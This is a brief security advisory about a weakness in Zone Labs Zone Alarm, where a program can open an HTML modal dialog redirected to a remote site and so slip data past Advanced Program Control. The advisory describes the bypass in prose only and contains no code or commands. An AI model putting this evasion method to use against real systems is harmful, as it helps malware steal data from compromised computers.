Discussion
Zone Labs Zone Alarm Advance Program Control Bypass Weakness
Zone Labs Zone Alarm is prone to a weakness that permits the bypassing of the Advanced Program Control protection.
Reports indicate that applications can create a modal dialog box displaying HTML, which can then be redirected to a remote site.
This would allow a malicious program to bypass Advanced Program Control protection and send data to a remote attacker from a compromised computer.
It should be noted that this issue only presents itself if the Advanced Program Control setting has been enabled and the browser has been authorized to access the Internet.
